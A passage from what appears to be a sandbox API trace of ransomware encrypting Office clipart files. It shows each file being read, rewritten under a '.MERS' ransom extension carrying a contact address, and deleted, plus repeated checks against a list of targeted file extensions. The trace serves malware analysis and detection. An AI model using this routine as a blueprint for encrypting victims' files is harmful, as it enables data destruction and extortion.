office\\clipart\\pub60cor\\an02724_.wmf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0268.910] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02724_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0268.911] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec8 | out: lpNewFilePointer=0x0) returned 1 [0268.911] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec8 | out: lpNewFilePointer=0x0) returned 1 [0268.911] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02724_.wmf.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x408 [0268.911] GetLastError () returned 0x0 [0268.911] ReadFile (in: hFile=0x404, lpBuffer=0x3840020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befed4, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesRead=0x2befed4*=0x83c, lpOverlapped=0x0) returned 1 [0269.265] WriteFile (in: hFile=0x408, lpBuffer=0x3840020*, nNumberOfBytesToWrite=0x840, lpNumberOfBytesWritten=0x2befc9c, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesWritten=0x2befc9c*=0x840, lpOverlapped=0x0) returned 1 [0269.265] ReadFile (in: hFile=0x404, lpBuffer=0x3840020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befed4, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesRead=0x2befed4*=0x0, lpOverlapped=0x0) returned 1 [0269.266] WriteFile (in: hFile=0x408, lpBuffer=0x3840020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2befc9c, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesWritten=0x2befc9c*=0xec, lpOverlapped=0x0) returned 1 [0269.266] SetEndOfFile (hFile=0x408) returned 1 [0269.266] CloseHandle (hObject=0x408) returned 1 [0269.266] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec8 | out: lpNewFilePointer=0x0) returned 1 [0269.266] SetEndOfFile (hFile=0x404) returned 1 [0269.278] CloseHandle (hObject=0x404) returned 1 [0269.278] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0269.278] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02724_.wmf")) returned 1 [0269.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 63 [0269.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 63 [0269.278] lstrlenW (lpString=".doc") returned 4 [0269.278] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0269.278] lstrlenW (lpString=".docx") returned 5 [0269.278] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0269.278] lstrlenW (lpString=".pdf") returned 4 [0269.278] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0269.278] lstrlenW (lpString=".xls") returned 4 [0269.278] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0269.278] lstrlenW (lpString=".xlsx") returned 5 [0269.278] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0269.278] lstrlenW (lpString=".ppt") returned 4 [0269.278] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0269.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 63 [0269.279] lstrlenW (lpString=".zip") returned 4 [0269.279] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0269.279] lstrlenW (lpString=".rar") returned 4 [0269.279] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0269.279] lstrlenW (lpString=".bz2") returned 4 [0269.279] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0269.279] lstrlenW (lpString=".7z") returned 3 [0269.279] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0269.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 63 [0269.279] lstrlenW (lpString=".dbf") returned 4 [0269.279] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0269.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 63 [0269.279] lstrlenW (lpString=".1cd") returned 4 [0269.279] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0269.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 63 [0269.279] lstrlenW (lpString=".jpg") returned 4 [0269.279] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0269.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 63 [0269.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 63 [0269.279] lstrlenW (lpString=".doc") returned 4 [0269.279] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0269.279] lstrlenW (lpString=".docx") returned 5 [0269.279] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0269.279] lstrlenW (lpString=".pdf") returned 4 [0269.279] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0269.279] lstrlenW (lpString=".xls") returned 4 [0269.279] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0269.279] lstrlenW (lpString=".xlsx") returned 5 [0269.279] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0269.279] lstrlenW (lpString=".ppt") returned 4 [0269.279] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0269.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 63 [0269.279] lstrlenW (lpString=".zip") returned 4 [0269.280] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0269.280] lstrlenW (lpString=".rar") returned 4 [0269.280] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0269.280] lstrlenW (lpString=".bz2") returned 4 [0269.280] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0269.280] lstrlenW (lpString=".7z") returned 3 [0269.280] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0269.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 63 [0269.280] lstrlenW (lpString=".dbf") returned 4 [0269.280] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0269.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 63 [0269.280] lstrlenW (lpString=".1cd") returned 4 [0269.280] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0269.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 63 [0269.280] lstrlenW (lpString=".jpg") returned 4 [0269.280] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0269.280] lstrcmpiW (lpString1=".WMF", lpString2=".MERS") returned 1 [0269.280] lstrlenW (lpString="AN04174_.WMF") returned 12 [0269.280] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04174_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0269.281] GetFileSizeEx (in: hFile=0x404, lpFileSize=0x2beff1c | out: lpFileSize=0x2beff1c*=2636) returned 1 [0269.281] CloseHandle (hObject=0x404) returned 1 [0269.281] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04174_.wmf")) returned 0x20 [0269.281] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04174_.wmf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0269.282] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04174_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0269.282] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec8 | out: lpNewFilePointer=0x0) returned 1 [0269.282] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec8 | out: lpNewFilePointer=0x0) returned 1 [0269.282] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04174_.wmf.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e4 [0269.282] GetLastError () returned 0x0 [0269.282] ReadFile (in: hFile=0x404, lpBuffer=0x3840020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befed4, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesRead=0x2befed4*=0xa4c, lpOverlapped=0x0) returned 1 [0269.342] WriteFile (in: hFile=0x3e4, lpBuffer=0x3840020*, nNumberOfBytesToWrite=0xa50, lpNumberOfBytesWritten=0x2befc9c, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesWritten=0x2befc9c*=0xa50, lpOverlapped=0x0) returned 1 [0269.343] ReadFile (in: hFile=0x404, lpBuffer=0x3840020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befed4, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesRead=0x2befed4*=0x0, lpOverlapped=0x0) returned 1 [0269.343] WriteFile (in: hFile=0x3e4, lpBuffer=0x3840020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2befc9c, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesWritten=0x2befc9c*=0xec, lpOverlapped=0x0) returned 1 [0269.343] SetEndOfFile (hFile=0x3e4) returned 1 [0269.343] CloseHandle (hObject=0x3e4) returned 1 [0269.343] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec8 | out: lpNewFilePointer=0x0) returned 1 [0269.343] SetEndOfFile (hFile=0x404) returned 1 [0269.345] CloseHandle (hObject=0x404) returned 1 [0269.345] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0269.346] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04174_.wmf")) returned 1 [0269.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 63 [0269.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 63 [0269.346] lstrlenW (lpString=".doc") returned 4 [0269.346] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0269.346] lstrlenW (lpString=".docx") returned 5 [0269.346] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0269.346] lstrlenW (lpString=".pdf") returned 4 [0269.346] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0269.346] lstrlenW (lpString=".xls") returned 4 [0269.346] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0269.346] lstrlenW (lpString=".xlsx") returned 5 [0269.346] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0269.346] lstrlenW (lpString=".ppt") returned 4 [0269.346] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0269.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 63 [0269.346] lstrlenW (lpString=".zip") returned 4 [0269.346] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0269.346] lstrlenW (lpString=".rar") returned 4 [0269.346] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0269.346] lstrlenW (lpString=".bz2") returned 4 [0269.346] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0269.346] lstrlenW (lpString=".7z") returned 3 [0269.346] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0269.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 63 [0269.346] lstrlenW (lpString=".dbf") returned 4 [0269.347] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0269.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 63 [0269.347] lstrlenW (lpString=".1cd") returned 4 [0269.347] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0269.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 63 [0269.347] lstrlenW (lpString=".jpg") returned 4 [0269.347] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0269.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 63 [0269.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 63 [0269.347] lstrlenW (lpString=".doc") returned 4 [0269.347] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0269.347] lstrlenW (lpString=".docx") returned 5 [0269.347] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0269.347] lstrlenW (lpString=".pdf") returned 4 [0269.347] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0269.347] lstrlenW (lpString=".xls") returned 4 [0269.347] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0269.347] lstrlenW (lpString=".xlsx") returned 5 [0269.347] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0269.347] lstrlenW (lpString=".ppt") returned 4 [0269.347] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0269.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 63 [0269.347] lstrlenW (lpString=".zip") returned 4 [0269.347] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0269.347] lstrlenW (lpString=".rar") returned 4 [0269.347] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0269.347] lstrlenW (lpString=".bz2") returned 4 [0269.347] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0269.347] lstrlenW (lpString=".7z") returned 3 [0269.347] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0269.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 63 [0269.347] lstrlenW (lpString=".dbf") returned 4 [0269.347] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0269.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 63 [0269.347] lstrlenW (lpString=".1cd") returned 4 [0269.348] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0269.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 63 [0269.348] lstrlenW (lpString=".jpg") returned 4 [0269.348] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0269.348] lstrcmpiW (lpString1=".WMF", lpString2=".MERS") returned 1 [0269.348] lstrlenW (lpString="AN04206_.WMF") returned 12 [0269.348] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04206_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0269.349] GetFileSizeEx (in: hFile=0x404, lpFileSize=0x2beff1c | out: lpFileSize=0x2beff1c*=7668) returned 1 [0269.349] CloseHandle (hObject=0x404) returned 1 [0269.349] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04206_.wmf")) returned 0x20 [0269.349] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04206_.wmf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0269.349] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04206_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0269.349] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec8 | out: lpNewFilePointer=0x0) returned 1 [0269.349] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec8 | out: lpNewFilePointer=0x0) returned 1 [0269.349] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04206_.wmf.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e4 [0269.349] GetLastError () returned 0x0 [0269.349] ReadFile (in: hFile=0x404, lpBuffer=0x3840020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befed4, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesRead=0x2befed4*=0x1df4, lpOverlapped=0x0) returned 1 [0269.362] WriteFile (in: hFile=0x3e4, lpBuffer=0x3840020*, nNumberOfBytesToWrite=0x1e00, lpNumberOfBytesWritten=0x2befc9c, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesWritten=0x2befc9c*=0x1e00, lpOverlapped=0x0) returned 1 [0269.362] ReadFile (in: hFile=0x404, lpBuffer=0x3840020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befed4, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesRead=0x2befed4*=0x0, lpOverlapped=0x0) returned 1 [0269.363] WriteFile (in: hFile=0x3e4, lpBuffer=0x3840020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2befc9c, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesWritten=0x2befc9c*=0xec, lpOverlapped=0x0) returned 1 [0269.363] SetEndOfFile (hFile=0x3e4) returned 1 [0269.363] CloseHandle (hObject=0x3e4) returned 1 [0269.363] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec8 | out: lpNewFilePointer=0x0) returned 1 [0269.363] SetEndOfFile (hFile=0x404) returned 1 [0269.364] CloseHandle (hObject=0x404) returned 1 [0269.365] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0269.365] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04206_.wmf")) returned 1 [0269.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 63 [0269.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 63 [0269.365] lstrlenW (lpString=".doc") returned 4 [0269.365] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0269.365] lstrlenW (lpString=".docx") returned 5 [0269.365] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0269.365] lstrlenW (lpString=".pdf") returned 4 [0269.365] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0269.365] lstrlenW (lpString=".xls") returned 4 [0269.365] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0269.365] lstrlenW (lpString=".xlsx") returned 5 [0269.365] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0269.365] lstrlenW (lpString=".ppt") returned 4 [0269.365] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0269.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 63 [0269.365] lstrlenW (lpString=".zip") returned 4 [0269.365] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0269.365] lstrlenW (lpString=".rar") returned 4 [0269.366] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0269.366] lstrlenW (lpString=".bz2") returned 4 [0269.366] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0269.366] lstrlenW (lpString=".7z") returned 3 [0269.366] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0269.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 63 [0269.366] lstrlenW (lpString=".dbf") returned 4 [0269.366] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0269.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 63 [0269.366] lstrlenW (lpString=".1cd") returned 4 [0269.366] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0269.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 63 [0269.366] lstrlenW (lpString=".jpg") returned 4 [0269.366] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0269.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 63 [0269.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 63 [0269.366] lstrlenW (lpString=".doc") returned 4 [0269.366] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0269.366] lstrlenW (lpString=".docx") returned 5 [0269.366] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0269.366] lstrlenW (lpString=".pdf") returned 4 [0269.366] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0269.366] lstrlenW (lpString=".xls") returned 4 [0269.366] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0269.366] lstrlenW (lpString=".xlsx") returned 5 [0269.366] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0269.366] lstrlenW (lpString=".ppt") returned 4 [0269.366] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0269.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 63 [0269.366] lstrlenW (lpString=".zip") returned 4 [0269.366] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0269.366] lstrlenW (lpString=".rar") returned 4 [0269.366] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0269.366] lstrlenW (lpString=".bz2") returned 4 [0269.366] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0269.367] lstrlenW (lpString=".7z") returned 3 [0269.367] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0269.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 63 [0269.367] lstrlenW (lpString=".dbf") returned 4 [0269.367] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0269.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 63 [0269.367] lstrlenW (lpString=".1cd") returned 4 [0269.367] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0269.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 63 [0269.367] lstrlenW (lpString=".jpg") returned 4 [0269.367] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0269.367] lstrcmpiW (lpString1=".WMF", lpString2=".MERS") returned 1 [0269.367] lstrlenW (lpString="AN04225_.WMF") returned 12 [0269.367] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04225_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0269.367] GetFileSizeEx (in: hFile=0x404, lpFileSize=0x2beff1c | out: lpFileSize=0x2beff1c*=8492) returned 1 [0269.367] CloseHandle (hObject=0x404) returned 1 [0269.367] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04225_.wmf")) returned 0x20 [0269.367] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04225_.wmf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0269.368] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04225_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0269.368] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec8 | out: lpNewFilePointer=0x0) returned 1 [0269.368] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec8 | out: lpNewFilePointer=0x0) returned 1 [0269.368] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: 